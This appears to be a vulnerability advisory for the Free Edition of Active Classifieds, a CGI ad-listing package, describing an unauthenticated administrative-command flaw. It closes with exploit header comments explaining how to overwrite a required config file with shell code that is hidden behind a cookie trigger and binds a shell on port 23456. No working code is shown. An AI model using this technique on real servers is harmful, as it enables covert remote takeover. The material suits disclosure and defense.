Active Classifieds is a CGI package that provides an online classified advertisement listing and management system.

An origin validation error exists in the Free Edition of Active Classifieds that may allow remote users to perform some administrative commands without authentication. As a result, it may be possible to cause arbitrary commands to be executed on a host running the software.

It is currently unclear as to whether commercial versions of Active Classifieds are also vulnerable.

# exploit by Igor Dobrovitski noident@my-deja.com
# This exploit will spawn an interactive shell on port 23456
# A configuration file that is added to the admin.cgi at runtime through 'require' statement
# can be ovewritten. We can write to that file, but can't read it, so we simply restore
# the default settings. If the administrator made changes to the file
# 'websites/default/variables/design.pl', those changes will be lost and defaults restored.
# Our shell code is also written to that file, but will only be executed if the password
# cookie is supplied. Whoever else invokes the script won't trigger the shell.
# Enjoy
